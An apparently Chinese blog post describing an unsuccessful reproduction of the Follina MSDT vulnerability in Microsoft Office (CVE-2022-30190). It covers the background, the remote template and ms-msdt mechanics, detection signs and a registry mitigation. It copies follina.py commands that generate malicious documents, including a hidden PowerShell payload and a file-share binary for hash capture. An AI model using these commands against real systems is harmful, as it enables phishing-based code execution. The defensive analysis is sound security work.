Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)复现“没”成功

3 篇文章 1 订阅
3 篇文章 0 订阅

Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)复现没成功

参考链接

https://github.com/chvancooten/follina.py

https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/ (填充大于4096字节原因)
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-30190 受影响的版本

漏洞背景

2022年5月27日,一位名为 nao_sec 的安全研究员发现了一个从白俄罗斯 IP 上传到 VirusTotal 的恶意 Word 文档。该文档使用 Microsoft Word 远程模板功能链接恶意 HTML 文件,Winword.exe 程序处理该恶意 HTML 文件中的 js 代码时发现其中使用”ms-msdt”协议的 URL, 随即启动 msdt.exe 程序(Microsoft Support Diagnostics Tool)处理该 URL,导致内嵌在 URL 中的 powershell 命令得到执行。

2022年5月30日,微软公布该漏洞编号 CVE-2022-30190。

漏洞原理

可以通过一下命令产生可以用的docx文档

# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe

# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

解压docx文档。
在这里插入图片描述

其中的document.xml.rels文件包含远程模板的注入链接。其中Type属性表明word会将改模板文件加载为OLE对象,可以看到其中一个远程模板加载的是我的kali网站上面的一个页面,其ID属性为rId1337。

OLE:Object Linking and Embedding,对象连接与嵌入,简称OLE技术。OLE 不仅是桌面应用程序集成,而且还定义和实现了一种允许应用程序作为软件“对象”(数据集合和操作数据的函数)彼此进行“连接”的机制,这种连接机制和协议称为组件对象模型(COM)。OLE可以用来创建复合文档,复合文档包含了创建于不同源应用程序,有着不同类型的数据,因此它可以把文字声音图像表格、应用程序等组合在一起。可以将外部文档嵌入word中。

在这里插入图片描述

再根据word/document.xml发现此模板文件的其他属性。

在这里插入图片描述

然后查看引用的kali上的html页面。

在这里插入图片描述

html中body标签的无关内容,源RDF842l.html填充的是注释的”A“,是为了让模板文件大小大于4096字节,链接中的文章很长,是终端调用CDwnStm::Read函数中的第三个参数应该是客户端尝试从服务器读取的字节数,处于某种原因,客户端期望4096字节,在构造 CHtmPre 实例时,它的默认读取大小为 4096 字节。在使用实际响应大小更新此字段之前,客户端正在从 HTTP 响应中读取字节。由于我们的准系统负载只是一个 4096 字节以下的小 HTML 页面,客户端认为服务器没有发送所需的响应,因此终止了执行。(https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WzIb3lGp-1654770318249)(D:\download\typora\image-20220609180512291.png)]

html利用location.href进行页面的重定向,采用的协议是ms-msdt协议,根据注册表ms-msdt协议用的是msdt.exe,执行word程序加载word的进程是winword.exe,所以通过msdt.exe执行posershel命令。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OlDrv9Gc-1654770318250)(D:\download\typora\image-20220609180920280.png)]

复现过程:未成功

我这里复现出错了,msdt.exe不能运行,不知道为什么?第一次遇到,希望有人能告诉我。

在这里插入图片描述

告警分析

流量层面:

1.受害主机通过某种方式或者docx,可能是钓鱼邮件,可能邮件沙箱发生告警。

2.受害主机访问恶意url,可以在response中看到ms-msdt协议,html中无意义的注释填充大于4096,base64加密的powershell命令。

主机层面:

1.winword.exe访问远程url链接,查找注册表,打开msdt.exe执行恶意的powershell命令,有恶意负载。

解决办法

禁用msdt url协议。

1.管理员身份先备用注册表“reg export HKEY_CLASSES_ROOT\ms-msdt [filename ]”。

2.命令“reg delete HKEY_CLASSES_ROOT\ms-msdt /f”。(恢复注册表”reg import [filename]“)

ename ]”。

3.命令“reg delete HKEY_CLASSES_ROOT\ms-msdt /f”。(恢复注册表”reg import [filename]“)

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值